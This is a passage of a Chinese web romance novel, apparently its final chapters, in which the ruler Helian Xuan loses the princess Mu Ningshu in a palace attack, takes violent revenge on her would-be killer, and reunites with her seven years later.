天寒地冻, 她向来怕冷。该是煨在床上看话本, 怀里抱个汤婆子。他不在, 小可爱那只蠢狼,必定蹭到床上,趴在她身旁。
他唇角勾起点笑意,拿起桌上尚未完工的匕首,细细雕刻刀身字迹的最后一笔。
她当年出嫁时的东西, 大多早已遗失。但他在涂丹时, 看过记录她生辰八字的公主册文。
不久后是她的生辰。
他在姜国古书中翻找许久,才寻到合适的祝词。
“如月之恒,如日之升。”
希望他的公主,如月之恒,如日之升。
他此生对她的爱意,亦如月之恒,如日之升。
诗句以姜国古文字写就,典雅肃穆, 他亲手镌刻在刀身,在璀璨宝石簇拥中,熠熠生辉。
按照耶律部习俗, 新人成婚时,男子送给女子的聘礼中,会有一柄贵重匕首, 二人以此匕首划破掌心,歃血为盟,以示此生忠贞不渝。
小时候,他在耶律部看过新人行此礼。那会儿,他父亲尚在,母亲慈爱,是他人生中为数不多的快乐时光。
幸好,后来有了公主。
在遇到她之前,他从没思考过自己会喜欢怎样的人。或者说,喜欢这种情感,在他的世界里毫无存在感。在遇到她之后,他只觉,她是什么样子,他喜欢的人就该是什么样子。
她虽已为他的阏氏,他心底却觉,两人该有个正式的大婚典礼。
即使现在局势复杂,她为姜国人,他暂时无法将她立为王后,但这无妨碍。他会给她最好的一切,最高的荣耀,王后之位,将来也只会属于她。
但她那么怕疼,定会假哭逃避,不肯划破掌心。
没关系,用他的血就好。
她能嫁他为妻,在他身边,他心满意足。
最后一笔镌刻完成,赫连煊对这个作品很满意,对着窗外日光细细观赏。
帐门推开,张奉景进来。
赫连煊嘴角笑意消失,手指不慎划破。
张奉景见到,上前道:“臣给您上药。”
赫连煊面色不佳,冷道:“不用。”
这趟远行征战,赫连煊特意将张奉景带出来,命他当随军医师。穆凝姝常常跑去找张奉景,两人凑到一处,仿佛有说不完的话。她同张奉景在一起的时间,加起来恐怕比他还多。
她只是顺应阏氏身份,与他同床共枕。张奉景却是她的心之所向。
佗佗,那样难听的名字,她叫得那样轻快好听。
赫连煊无数次想杀了张奉景,在赫连王庭,在塞月城,在这里。
其实,此次是除掉张奉景的极好机会。
行军打仗,伤亡在所难免。军医死在战场,很合理。
她永远不会知道真相,所以怨不得他。
他早说说过,爱是贪欲和嫉妒。
他好不容易得到她,怎能容得下她眼中心中存在其他男人?
赫连煊望向张奉景的眼神逐渐幽深。他动杀意时,往往不动声色,越发沉寂。
张奉景盯着赫连煊流血的手指,终究压抑不住止血的本能,走上前去,道:“单于,您这手还是上点儿药吧。”
他瞥见桌旁的黑漆莲花盒。放着现成的药膏不用,不知道大单于在耍哪门子的帅。
张奉景伸手去拿药膏。
赫连煊挡住,不愿张奉景碰她给自己的东西。他想起她的话,这药是太医做的……她熟识的太医,除了张奉景还能有谁?难怪他一看到这盒子就知里头是药膏。
说起药来,他越发想杀了张奉景。
发现穆凝姝偷偷喝药那晚,他差点压不住情绪。
他知道这种药。
从前,每次赫连天雄来找耶律槿,事后,耶律槿都会私下弄来避子汤服用,后来汤药喝太多,流血不断,伤到根本,再也无法有孕。赫连天雄发怒,耶律槿却笑得轻松,好似了却心事。
耶律槿痛恨赫连天雄,不愿生下他的孩子。
穆凝姝也是如此吗?
她被他发现偷喝避子汤,手足无措,要解释,他却不想听。
解释什么?
她同他之间,应当不存在恨。她只是不爱他,所以不想生下他的血脉。他不愿去想去问,若张奉景当她夫君,她会不会愿意。
抑或,她只是怕疼。
雅曼难产出血,吓到了她,所以她不愿意生孩子。
他希望是第二种缘由,希望她仅仅是害怕这件事本身。
避子汤伤身,不能多喝。她既不想有孕,他不勉强,甚至可以搬走。
即使他很想要一个属于他们的孩子,哪怕仅仅只有一个。
自那之后,他没再碰她。
他想了很久才想通,没有孩子也无妨。万一像雅曼那般遇上难产,他不敢想。哪怕像阿素珊一样顺利,她身子娇弱,也会痛得受不住。
不生孩子也好。
只要她还在他身旁,其他不重要。
他命人暗中查过她的药房记档,什么都没有。愿意冒风险帮忙,且能做到的人,唯有张奉景。
眼下,这人竟还敢在他面前晃。
赫连煊不悦道:“孤不喜欢这药。不用。”
张奉景见赫连煊这般冷冽直白,亦是很不高兴。他早就隐隐感觉,赫连煊不喜欢自己,又不明白这种敌意从何而来。分析来分析去,却分析越觉得赫连煊不是个东西。
张奉景一肚子火,不管不顾道:“你还不喜欢,你凭什么不喜欢她给你的药?你觉得她没学过医,就看不上她的东西?赫连煊,哪怕你是君我是臣,我今天也得说,你眼瞎心盲,就知道迷恋那个芙缇娜,我真替凝姝不值。”
“你说什么?”赫连煊蹙眉,一句都听不懂。
张奉景气得一把夺过他手里的药盒,打开挖一点,道:“她辛辛苦苦做出来的药,被芙缇娜偷去邀功,不信的话,你自己尝尝。这药里有蜂蜜,她给你的药是最终成品,蜂蜜更多,甜味重,芙缇娜提前偷走的方子里蜂蜜少点,其他药材都相同。芙缇娜拿给你,你就喜欢,换作她,你就看不上,赫连煊,你当真好样的!”
赫连煊并不怀疑张奉景的话,更疑惑道:“既是如此,她为何不直接告诉孤?”
张奉景冷笑:“告诉你?她做药的事没几个人知道,你偏爱芙缇娜,哪里能信她。也就她傻乎乎,说什么你出征在即,好不容易心上人给你做药,让你开心,她觉得没必要为这小事争执。好好一小姑娘,喜欢谁不好,喜欢你这么个人……”
既然开了头,张奉景不吐不快,大不了赫连煊处置他,多说少说都一样。他干干脆脆把那些旧事全拉出来说个透彻,骂赫连煊薄情寡性。
一时之间,张奉景说得太多,一切都跟赫连煊认知中截然相反。
赫连煊捕捉到最重要的一点,打断张奉景的痛骂,问道:“等等——你刚才说……她是跟你要补汤?她想要孩子,想要我和她孩子?”
张奉景被赫连煊一打断,顿觉口渴,拿起茶水灌进去。定睛一看,赫连煊唇角竟带着笑意,气得心梗。这人简直不要脸,居然还笑得出来。
张奉景胸闷道:“是。她明明身子亏损得厉害,居然还非求我帮她补着试试。可你做了什么?你只顾着芙缇娜,根本不知道她多难过。赫连煊,一夜夫妻尚有百日恩,你却不准她喝药,连那么一丝丝机会都不肯留给她。或许你觉得她有意争夺嫡子位置?她没有这样的野心,她只是想要个女儿,陪陪自己。”
赫连煊听罢,心中五味杂陈,最多的,却是欢欣。
她不喜欢张奉景,她爱的人是他,就像他一样。
张奉景还在那里骂骂咧咧,赫连煊骂完,他开始数落芙缇娜不是好东西。
赫连煊没兴致听下去,嫌聒噪,打断道:“你们为何会觉得孤喜欢芙缇娜?孤跟她,并无任何男女之情。”
张奉景愣住,道:“怎么可能没有?你当初去祯跶部当质子,不就是为了她?你还和她有婚约,还把呼延部交还给她。桩桩件件,全都是真的。”
赫连煊道:“你说的这些事,确有。但另有内情。”
呼延奔对他的父亲赫连天云尽忠一生,父亲死后,呼延奔将这份忠诚给了他。
延奔逃去祯跶部后,他们暗中联系,设计利用祯跶部对付赫连天雄。
儿时,他的确同芙缇娜有婚约。呼延奔也一直将此婚约当真,而非传闻中那般,看不上落魄的昔日太子。
事实上,呼延奔很希望赫连煊娶芙缇娜。一来,他信守承诺,内心将赫连煊视为少主。二来,他打心底欣赏赫连煊。
呼延奔总共三子一女,很不幸,芙缇娜上头的三个哥哥全部战死,后继无人,他只能培养这个小女儿。
芙缇娜很努力,资质却平平无奇。作为女子,这般培养下,她自然比一般女子强,可统领一个部落,不是跟女子们争争高下,而是跟所有男人斗,血雨腥风。
呼延奔虽然很喜欢小女儿,却不得不面对事实。强行让芙缇娜挑大梁,对呼延部,对她自己,都很危险。最好的办法莫过于给芙缇娜找个厉害夫婿。
赫连煊是不二之选。
他却不愿意,直截了当拒绝婚事,废除儿时的婚约。
呼延奔不能强求,但又提出另一个协议。他们可以以芙缇娜为幌子,让祯跶部相信赫连煊深爱芙缇娜,以此换取祯跶部支持。两人儿时有婚约,又有他这个女方父亲为证,事情极为可信。
如此,呼延奔亦可以帮到少主,待事成以后,赫连煊再扶持呼延部和芙缇娜,双方都能得益。
赫连煊觉得此计可行,同意呼延奔的提议,并告诉芙缇娜。若她不愿意,他不逼迫,再另寻他法。
芙缇娜应下此事,配合赫连煊。
一切照计划进行,直至赫连煊如约赎回芙缇娜。
对他而言,她是他的臣子,跟札木尔等人并无不同。
张奉景没想到内情竟如此曲折,道:“可、可你和她……你睡过芙缇娜。”
“胡言乱语。”赫连煊冷声打断,“芙缇娜跟孤毫无瓜葛。”
张奉景一头雾水,说起芙缇娜从他帐中出来之事。那天穆凝姝来找他,魂不守舍,他盘问许久才问出来。
赫连煊更是不解。他搬出来后,一直独居,怎么可能跟芙缇娜有肌肤之亲。
但赫连煊顾不上许多,无暇分心去想芙缇娜。
无论内情如何,待他回去后,他一字一句,好好跟穆凝姝解释清楚。
他从始至终,心里只有她一人。
她亦是如此看待他,甚好。
天底下再没有比她爱他,更令他高兴的事。
赫连煊将匕首装进檀木盒中,踱步不断,欢欣难抵,归心似箭。
赫连天林忽然闯入,神情肃穆惊慌。
“阿煊,出事了。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m
第 51 章【VIP】
第51章 第 51 章 51“我来陪你。”……
“别急。小叔慢说。”赫连煊唇角笑意未减, 因心情大好,语气比平日里多出几分轻快。
大风大浪他司空见惯,再紧急的军情,无非忙碌些应对, 劳累一阵, 心理上并不会令他有什么起伏。
赫连天林拧眉, 拿出张皱巴巴的传信, 道:“塞月城出事了。刚收到的急报,王宫遇袭。”
赫连煊瞬间变脸,一把夺过传信,快速浏览后径直走出营帐,吩咐札木尔带兵跟随, 他要立即回城。走出营帐, 跃上绝影,竟直接离开,头也不回。
营帐众人眼睁睁看他离开,不敢置信。战事尚未结束,他竟然就这么扔下一大摊子事走了?
赫连天林迅速回神,赶紧叫几个大将暂时主持战事,立即骑马追赶赫连煊。
赫连煊一路不眠不休。
赫连天林追着他赶路,生死疲劳, 回到塞月城时,脑子和身体全都没了知觉。
赫连煊却像个没事人般,直接往王宫里冲。
新修的宫殿被火焰烧毁, 变成断壁残垣。整座王宫,几乎化作焦土,混杂着无数尚未来得及清理的焦黑尸体。
“阿煊——”芙缇娜望见赫连煊, 泪眼滂沱,朝他冲过去。
赫连煊推开芙缇娜,无暇理会。眼神在来来往往的慌乱人群中逡巡,寻找穆凝姝的身影。
没有人。
没有找到她。
他舔舔干裂的唇,喉结上下滑动,让自己平静下来。不会有事,她遇到过太多次突袭,她那么聪明,又有经验,一定是找个角落藏起来了。
“公主——穆凝姝——”赫连煊大喊她的名字,命人找她。
无人回应。
他渐渐慌乱,白雪纷飞,他却感到股窒息的闷热。
他扯开衣襟,不断告诉自己,她总是如此,特别会藏,总是让他难以找到。
“穆凝姝,我回来了。不要躲,出来。”
芙缇娜从未见过这样的赫连煊。
自儿时相识,他便永远一副少年老成模样。后来祯跶部再见,哪怕他命途跌落,哪怕境况再艰难,身上那股傲气和淡然,从未变过。
今日却慌乱得仿若六神无主,就为了那么个女人。
芙缇娜受不了他的无视,上前拦住他,喊道:“单于,你冷静些。她死了。穆凝姝已经死了。”
赫连煊顿住,望着面前焦土与尸身,道:“不会。即使赫连涛得知孤出征,趁虚而入,袭击塞月城,城中和附近驻留的军队,足以击退他们。我给她留了侍卫和死士,护住她的命,绰绰有余。”
他眼神似乎依旧平静,语气也平静,不知是在分析给旁人听,还是给自己。
趁城中空虚来突袭,很寻常,他有预案。
阿素珊抱着孩子赶来,见赫连煊回来,厉声道:“芙缇娜,你敢做现在为何不敢当!你杀了她,是你杀了她!”
当日穆凝姝被绑在王宫广场火架上,正行火祭之时,恰逢赫连涛突袭,人群凌乱,四处逃窜。而后王宫侍卫与之打斗,驻军赶来,赫连涛不敌逃走。临行前放火烧宫。
大火几天几夜不休,扑灭后,王宫极成废墟,尤其广场这片,焦尸无数,到现在都没能清理完。
阿素珊朝赫连煊,亦是眼神恨恨,哭道:“你为何不相信凝姝,她是姜国人,可她定不会背叛你。你为何不等亲自回来问问她,为何这般决绝处以极刑?”
阿素珊所言,赫连煊一概不知。他抓获姜国细作后,并未下过任何针对穆凝姝的王令。反倒因为担心她的姜国人身份遭受揣测,而将此事压下,派人回宫加强对她的护卫。
赫连煊看向芙缇娜,“你,假传王令,教唆侍卫叛变,杀了她?”
芙缇娜惊惧于他眼神中的狠厉,极力镇静,道:“我是为了你,为了赫连部。她一个姜国人,凭什么身居高位,享受赫连供奉?军心涣散,拿她的命祭天,平息众怒,是最好的方法。单于,你最清楚轻重,这种事权衡利弊,就该——唔——”
芙缇娜望向腹部,不敢置信,赫连煊一刀贯穿。
她捂住汩汩流血的伤处,压抑许久的心火骤然燃烧,咬牙疯喊道:“赫连煊,我们儿时相识,我爱你至深,为你付出那么多。什么兵法什么武器锻造,我一点都不喜欢,我苦苦学这些取悦你,你却喜欢那种女人,她处处比不上我,她凭什么,凭什么!”
赫连煊拔刀,再度捅进芙缇娜身体,“呼延奔跟孤约定的事,孤都做到了,孤同你毫无瓜葛,你没资格跟她相提并论。你竟敢动她……你怎么敢……”
他喃喃自语,芙缇娜瘫软倒地,他依旧无知无觉般,麻木地一刀接一刀,直到身子烂如泥,他才爬起来,跌跌撞撞往那块焦尸无数的广场走去。
他站在中央,天地皆黑。
忽然福至心灵,看到一点银光。
他挖出来,隐约认出手里这变形烧黑的东西,是她常戴的梨花银簪。
第一次见她,她拿着这个,瑟缩在角落,怕他欺负她。
眼泪落到簪子上,他突然狂笑,回身一刀,砍断身旁侍卫脖子。
他执刀,砍杀在场所有侍卫和呼延部人。
这些人,全都该死。
侍卫和战士慌乱片刻后,见赫连煊恍若疯魔,逃无可逃,妄图反击。
但赫连煊整个人如一柄利剑,锋利无双,嗜杀疯狂,即使受伤,似乎感受不到痛,只是麻木地一往无前。
尸骨成堆,鲜血染得焦土变红。
竭泽而渔的杀戮后,他站在尸山血海上,浴血而出,浑身伤痕,摇摇欲坠。
查姜国人时,他无意间查出她的身世。
竟是个小宫女。
怎么会是个宫女。
他原以为,姜国帝后舍得让她出嫁和亲,恐怕不会太宠爱这个女儿。但好歹是公主,再不受宠,至少不缺锦衣玉食。可她得到一点点好东西,是那样满足。金枝玉叶,不该如此知足。
得知她出身宫女,一切才解释得通。
会做饭,会刺绣,性子温顺乖巧得不像话,得到一丝甜,就高高兴兴拉着他的手谢恩。
她小时候,一定过得很苦。
却要在他面前,一次又一次编造那些不属于她的美好过往,装作备受娇宠。
他总说她娇气,其实从没这么想过,他只是希望在他面前她能无所顾忌,再娇气点,再任性点。
他爱她,无论她是谁,无论她是什么样子,他都爱她。
他的妻子只会是她,只能是她。
他要将世间最好的一切,都送给她。
她死了。
天地广阔,却再也不会有这样一个人。
那他所做的一切,还有何意义?
赫连煊再是无力支撑,仰躺在尸骨山上,望着飞雪漫天,口中涌出汩汩血色。
“公主,我回来了。”
“不要怕。”
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第 52 章【VIP】
第52章 第 52 章 52几番魂梦与君同……
广阔草原上, 一列车队缓缓前行,红幔纷飞,在漫无边际的绿中,格外耀眼。
看马车形制和侍卫打扮, 这列车队来自姜国。
穆凝姝别无他选, 骑马跑向车队求救。
车帘掀开, 马车中探出张小姑娘的脸庞, 在塞外听到姜国人的声音,又见来人是个姜国姑娘,小姑娘让侍卫放她上车。
护卫将军反对:“公主,这人来历不明,万一是刺客……”
穆凝姝心道凑巧, 竟然是来自姜国的公主。
小姑娘朝穆凝姝眨眨眼, 笑道:“漂亮的女孩子才不会是刺客。这位姐姐,我瞧着面善。”
穆凝姝自觉张开双手,让侍女搜身,检查无误后,小姑娘命人放她上自己的马车。
小姑娘性子活泼,一路劳顿绵长,无聊得要命,碰上穆凝姝, 好似一见如故,叽叽喳喳说个不停。她封号睦安,今年年初刚满十五, 此次出塞,是为和亲。
穆凝姝惊讶道:“你是睦安,那你母亲是姜国皇后?她很疼爱你, 怎么舍得让你出嫁?”
当年她出嫁时,宫里的皇子公主都来送过,那时候,睦安小小一只,扒着皇后的腿,湿漉漉的眼睛望着她。
她印象深刻。
那时候,睦安才五岁。
一晃,十年已过。
睦安点点头,神情难过,道:“母后三年前病逝。父皇宠爱丽妃,他舍不得那个女人的孩子,就让我出嫁。不过姐姐,你怎么会知道这些?”
穆凝姝随口编造道:“我在边境贩卖货物,三教九流来往得多,囫囵听说的。”
睦安叹气道:“好羡慕姐姐,真自由啊。不像我,连要嫁的那个单于,长什么样子都不知道。我听宫人们说,赫连煊性子特别暴躁,整天打打杀杀,灭了好多部落,如今称霸塞北,一家独大,要不然姜国哪里会让我嫁过来讨好他。”
穆凝姝愣住片刻,赫连煊,感觉像上辈子的事。
七年前,芙缇娜要烧死她,恰逢赫连涛趁虚而入,突袭王宫,将她绑走。
平日里,她常常听到赫连煊的名字,赫连涛遭他追杀,恨他入骨,每天骂骂咧咧。
睦安沉浸在忐忑中,继续哀叹担忧自己的姻缘,“那个赫连煊,都二十六岁了啊,定是又老又丑。姐姐,你说他会不会打我?听说草原汉子都爱打老婆,是真的吗?”
穆凝姝回神,挠挠脑袋道:“二十六岁……其实也不算老吧。公主你才十五,跟你比,确实年纪大了点儿。不过,他长得肯定不难看,性格也挺好,绝对不会打你。外头的传闻,信不得。”
她被赫连涛裹挟着一起跑路,听过不少传闻。
比如说,单于的中原妻子遇刺身亡后,状若疯魔,直爱那个中原公主给他生的儿子,早已立其为太子云云。
传得乱七八糟。
遇刺身亡的妻子恐怕是芙缇娜,至于孩子……他和芙缇娜有孩子吗?总之,不可能是她的啊,生没生过她自己最清楚。
乱糟糟的传闻,传得有模有样,唯独她这种亲历者才知道有多荒谬。
睦安笑道:“姐姐,你说得这般笃定,你认识大单于呀?”
穆凝姝道:“不、不认识。我听说的。我认识几个宫里当差的人,消息比一般来源可靠。”
睦安又叽叽喳喳说个不停,宫里的,草原的,想到什么说什么。
穆凝姝望着她,认真听着,这个年纪的小姑娘,真是活泼可爱。
睦安说得开心,道:“姐姐,我们要去塞月城的王宫。你跟我一起去可以吗?我们随从的官员们远不如你了解敕加习俗,还都是些大男人,我跟他们没话讲。好姐姐,你这么漂亮,心底一定也特别善良。求求你,陪我一块儿吧。你去了王宫,那些追你的坏人,就没法儿再抓你了。”
睦安缠人功夫一流,缠得穆凝姝再三拒绝都拒绝不掉。
她心底动摇。
七年没见,好想看看他。
就远远看一眼,应该没什么吧。
穆凝姝让睦安给她找了套姜国宫女衣裳,同其他宫女一样,以面纱蒙面,一眼望去,全都一个模样。
七年间,赫连煊征战四方,统一草原,取国号为“昭”。战乱减少后,心思活络胆子大的中原人,试探着前来贸易,发现能赚大钱后,越来越多的中原人难抵诱惑,来此做生意。
塞月城为大昭都城,面积比七年前扩大数倍。
公主出嫁队列,缓缓往王宫行进。
穆凝姝朝外观望,心道赫连煊这君主当得好,城内商贸繁荣,敕加人的衣裳服饰带有中原影子。
王宫门口,大昭礼官在此迎驾,引领公主一行入宫面圣。
睦安紧张,握住穆凝姝的手。穆凝姝安慰她没事,自己却更紧张,心跳极快。
近乡情怯。
到达王宫大殿后,却没见到赫连煊本人。
赫连天林代为接驾。
七年过去,他仍是那副桃花眼风流样,对待睦安颇为礼貌,笑道:“单于恰巧外出巡游,不在宫中,我是他小叔,公主且先安置,待单于回来后,自会召见。”
赫连天林带睦安一行人去预备好的宫殿住下。
穆凝姝随之前往宫殿,王宫中处处绿荫,每隔百米,便有莲池,此时正值盛夏,莲花粉白,香远益清。
睦安奇道:“你们宫中竟然有莲花。我听说,塞北苦寒,今日我瞧着,却觉跟姜国景致差不多。这莲花真好看呀。”
赫连天林道:“这些莲花来头可不小,全是单于命人从中原挖过来的,水土不服,死了一批又一批,今年才终于开出花。”
睦安道:“想不到,大单于还有这般雅趣。”
赫连天林道:“他没什么雅趣,爱屋及乌罢了。从前的心上人喜欢莲花。”
穆凝姝安安静静坐在车内角落,听到此处,微微惊异。
睦安好奇道:“他的心上人是凝姝姐姐吗?她出嫁时我才五岁,记不得她的模样。母后说姐姐是个难得的美人,于姜国百姓有恩。”
听到许久无人敢提的名字,赫连天林心头一紧。
七年前那天的惨状,赫连天林永远忘不掉。
赫连煊发疯屠杀王宫中人,不死不休,芙缇娜和在场的呼延部族皆死于他刀下,广场尸山血海。
他自己深受重伤,几近衰竭,赫连天林赶到,才救下他的命。
此后,赫连煊要么到处打仗发泄,要么在王宫和赫连部旧址游荡,活得好似孤魂野鬼。
每逢战事,赫连煊必定放火,然后站在一旁,观看火焰,好几次,他看着看着,直愣愣走进去,幸亏札木尔寸步不离,将他拽出来。
赫连天林着实怕了这亲侄儿,寻思着来个新人总能好些,恰好姜国有意和亲,他干脆直接做主,要了个公主过来。
赫连煊初见穆凝姝那会儿,她十五岁,这回的公主,亦是十五岁的中原人。
等人在路上快到了,赫连天林才告诉赫连煊,不料他知晓后,见都不见,跑出王宫,扔下一堆烂摊子。
政务狂魔一走,赫连天林又得处理政务,又得应付自己招来的睦安公主,天天暗自悲叹自作孽不可活。
赫连天林勉强一笑,朝天真的小公主道:“单于的心上人,的确是您口中的那位。七年前的叛乱中,凝姝公主不幸罹难。公主您见到单于时,千万不要跟他提起那位姐姐,单于会很生气。”
睦安乖巧点头,小声朝穆凝姝道:“阿宁,听上去,单于不太好打交道啊。”
穆凝姝随意编了个假名阿宁。她安慰睦安放宽心,且走且看,赫连煊并非随意施虐之人。她的心绪让赫连天林的话扰乱。
心上人。
莲花。
因为她死得太凄凉,他想起她曾经对他不错,原谅她了?
在他眼中,她都死了,死者为大,的确也该宽容些。
众人抵达宫殿,歇息几天后,环境熟悉。
睦安虽然一直未得君主召见,但待遇很好,吃穿用度都是依照妃嫔礼遇。只是她仍旧心事重重,思念姜国,常常躲在房中,早早歇下。
待睦安睡下,夜色黑沉,穆凝姝戴好面纱,问了宫人马场位置,借口睦安公主明日想骑马,要提前挑选,朝马场走去。
许多年没见银霜和小可爱,不知道两只小东西还好不好。
王宫面积扩大,无定河流经宫廷,莲池水皆引自此河流。
马场挪到无定河边,河岸上的空地,燃起簇簇篝火。
好似一个又一个神秘的阵列。
穆凝姝记得,雅曼那假神婆,弄过这些神神道道的篝火,似乎是敕加人用来敬神或招魂的。
篝火掀起阵阵热浪,冲去夏日晚风的清凉。
火星子溅到穆凝姝面纱上,燃起火花,她赶紧摘下扔掉。
火焰上热浪滚滚,周围空气不断跃动,让人出于一片朦胧中,什么都看不真切。
隔着篝火与热浪,隐隐看到一人影。
清瘦高挑。
穆凝姝心漏一拍。
即使多年未见,即使看不清那人的脸,但她就是莫名笃定,那是赫连煊。
她呆呆愣在原处,不知该如何行动。
不动的话……会更不引人注意吧?
况且这篝火烧得空气乱窜,什么都看不清。
犹疑间,只见那瘦长影子,步履缓慢,径直朝她走来。
他们之间,横亘着一簇巨大的篝火,火舌汹涌,热浪滔天。
她眼睁睁瞧着,那道人影,路径笔直地朝她走来,一脚踏进篝火中,衣袂瞬间燃烧。
他却像无知无觉般,往火焰的更深处,继续走进去。
穆凝姝:“……”
救命!!!
你快低头看看,头发烧着了啊!衣服也着了啊!!!
七年不见,赫连煊已经进化成这样了吗?
真正的大佬,走路从不带拐弯。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m
【全文完结】
第53章 第 53 章 53相逢犹恐……
眼瞧着赫连煊周身着火, 他却跟个没事人般缓步行走,穆凝姝暗骂一句疯子,冲进火里,一把将他拽出来, 随手扯过旁边的经幡一顿狂扑灭火。
他怔然而立, 一动不动, 好似事不关己, 全然感觉不到疼。
穆凝姝望着他手臂上的烧伤,又气又急,一时之间想骂他都不知从何骂起。
想象中的远远看他一眼,怎么都不会是这样。
这场面,她是真没见过。
“又见到你, 真好。你来接我了。穆凝姝。”赫连煊定定望着她, 伸出手想触碰她的脸,却又放下。
这几年他偶尔见到她,每每触碰,她立即消散。
穆凝姝没好气道:“接什么接,七年不见,性子越发诡异了……”
忽然她身上一沉,整个人被赫连煊拢入怀中,紧得难以呼吸。
过膝的茶褐色长发烧得焦黑, 缠绕在她身侧,有股浓烈的焦味。
却掩盖不住他的味道。
即使七年没见,她依然对他无比熟悉。
赫连煊一改平日里缓慢的语调, 说得极快,好似下一刻就来不及。
“没有芙缇娜,没有乌琪, 没有任何人,自始至终,我从来只喜欢你一个。”
“穆凝姝,无论你是谁,我这一世,下一世,每一世都会选你。”
“你喜欢莲花,我在宫中种了许多,今年终于开花。你不要离开,我带你去看。”
穆凝姝呆呆愣住,他在说什么?
赫连煊猛然抬头,抓住穆凝姝手腕,当真要拽她去看莲花。
她哪里有心思去看花,目光全被他手腕上新新旧旧的烧伤抓住。她反握住他的手,将他拽进旁边的河中,泡进冷水里。
赫连煊任由她摆布,眼神一动不动,死死盯住她。
两人在水里泡得湿透,薄薄的夏衣贴在肌肤上。
穆凝姝顾不得许多,他刚才的烧伤必须赶紧处理。她脱掉他碍事的上衣,精壮的身躯比从前消瘦,添了许多新伤疤。
她指尖轻轻抚过他的伤疤,心上生出密密麻麻的疼。
他身上好烫,额头更烫,发着高热。
岸边传来响动,札木尔一声“单于”将她拉回现实。
赫连天林、阿素珊、雅曼……全是老熟人,表情全是惊愕。
穆凝姝:“……”
现下她这个姿势,手贴在他的胸间,很不正经。
“这个问题我可以解释。”穆凝姝放下手,露出个笑来,“好久不见,诸位。我来得似乎……不太是时候?”
赫连天林说赫连煊出宫了,她没想到会猛然撞上。
雅曼哇一声哭出来,朝她冲上去,一把抱住,摸了又摸,确认不是幻觉,大哭特哭。
穆凝姝再度失语。万万没想到,雅曼竟然为她哭成泪人,她俩前夫死了她都没掉一滴泪。
这个世界,她已经完全看不懂了。
* * *
敕加人信奉神明,相爱的人,即使死别,只要心有牵挂,下一世必能寻到彼此。
“可是她恨你,她以为是你要杀她。若你不想办法跟她说清楚就死去,这辈子、下辈子、生生世世,你都再也见不到她。”
赫连煊被赫连天林救下一命后,却生出死志,颓丧消沉。塞月城遭逢大劫,各处势力都想趁虚而入,围攻赫连部。
雅曼担惊受怕,赫连煊虽讨厌,却着实能干,是她和小福宝的衣食父母,要是真死了,赫连部被人瓜分蚕食,她好日子到头。她绞尽脑汁,谎话编了一套又一套,什么怨魂难散,有缘会再见,胡编乱造,哄着赫连煊招魂。
能哄一时是一时,日复一日,年复一年,让他心存希冀。
赫连煊执念太深,浑浑噩噩一两年后,竟告诉雅曼,他见到了穆凝姝,她的魂魄来找他了。
雅曼比谁都清楚,人死如灯灭,却不敢言语,继续骗他,是他的诚心打动了上天,一定得坚持。
赫连天林见此,跟雅曼一拍即合,忽悠他的好亲侄儿卖力养家。
竟有奇效。
赫连煊信以为真,找来各方巫祝招魂祭神,又觉塞月城残破,穆凝姝回来看到会不喜欢,就四处征战,学着姜国修建王宫,放出大笔赏金从中原招纳花匠,想方设法移植花木,种满塞北王宫。
胡乱折腾总比死气沉沉好。
只是有时候,他会看到她在火焰中,朝他伸出手。
每一次,他都毫不犹豫走进去,仿佛等待许久。
每一次,都只是幻象,在一次又一次的失望后,他的心绪逐渐溃败,走向绝望。
各大部落攻打下来后,他再也撑不下去,连自欺欺人都办不到。
赫连煊不由分说,立赫连天林的儿子小胖宝为储君,从此不理朝政。勤奋的亲侄儿决定堕落,年幼的亲儿子什么都做不了,赫连天林当了大半辈子废物纨绔,突然被赶鸭子上架,叫苦不迭。
雅曼跟穆凝姝说完旧事,哭得越发厉害,控诉赫连煊的恶行:“他时不时半夜跑来发疯,拉我起来招魂。小福宝还没学走路就先学了跳招魂舞,半夜踹一脚,她眼睛都不睁开,直接跳。这七年,我们母女俩熬得好苦啊。你没死干嘛不回来?”
穆凝姝望向床上昏迷的赫连煊,
怔然道:“我被赫连涛挟持,赫连煊追杀他,我也被迫逃亡,没办法脱身。”
雅曼哭诉一通后,快活多了,叮嘱穆凝姝务必好好跟赫连煊过日子,有她在,自己和小福宝总算得以解脱。眼见赫连煊眼珠颤动,有苏醒迹象,雅曼连忙跑路。
穆凝姝坐到床边,手抚着他的侧脸。
他幽幽转醒,望着她,目不转睛。
她想起来,他曾无数次这般看着她,只是每一次,她都不敢回望,怕他发现她的爱意。
她用不在意的目光,爱了他太久。
穆凝姝俯身而下,压住他的肩,轻轻吻住他的唇。
短暂惊愕后,赫连煊感受到她的温度。
她不再是虚幻的一缕魂,她真实地停靠在他怀中,触碰他。
他反客为主,扣住她的后脑,攫取她的气息。
如果仍旧是一场梦,他宁愿永远不再醒来。
* * *
艳阳高照,芳草萋萋,睦安公主的车队再度踏上远道,朝姜国行去。
穆凝姝亲自送睦安出塞月城,赫连煊骑着绝影,不近不远跟在后边。
睦安去国离家,没想到赫连煊竟愿意放她回去。她在宫中时,同太子哥哥的伴读互生爱慕,而今得以归去,她难掩欣喜,回去后定要父王赐婚,嫁给他。
两人话别后,穆凝姝跟赫连煊同骑一马,缓缓踏青,感慨道:“睦安好福气,转了一大圈,仍旧跟最初喜欢的人在一起。”
赫连煊不满道:“你不是?”
穆凝姝眨眨眼,道:“都过去了……算了,我还是说吧,省得你这醋坛子再误会,我可舍不得再跟你耽误另一个七年。我之前跟你提过一个马奴,叫莫勒钦。他对我很照顾,我对他……有过一丢丢好感吧。不过我发誓,现在肯定没有,现在我心里只有你。说来,莫勒钦真的很可怜,可惜他早已不在人世。我一直想报答他。”
赫连煊道:“以身相许的报答?”
“当然不是。都说了,不准乱吃醋。”穆凝姝笑哄道,“我的夫君可是草原上最最尊贵的大单于,要报答他,自然是你替我报答,加官进爵,赏赐金银,哪里轮到上妾身操心。”
赫连煊被她这声“夫君”取悦到,唇角勾起。
七年间起起伏伏,曾经介意的事情,如今看来,成了种奇怪的好笑。
他视莫勒钦为耻辱,她却自那时起,无论容貌,无论身份,赤诚地爱着他。
他们之间错过的时光,不止七年,而是十年。
赫连煊静默片刻,忽然道:“你已经报答过他了,公主。我说过,我一定会回来找你。”
穆凝姝愣住,呆呆望向他。
他的双瞳,金黄璀璨,同涂丹雪夜中的那双眼睛,逐渐交叠。
她眼中不由自主,蒙上一层雾气。
“那,你晚来了很多很多年啊。”
“所以,要以余生来赎罪。”
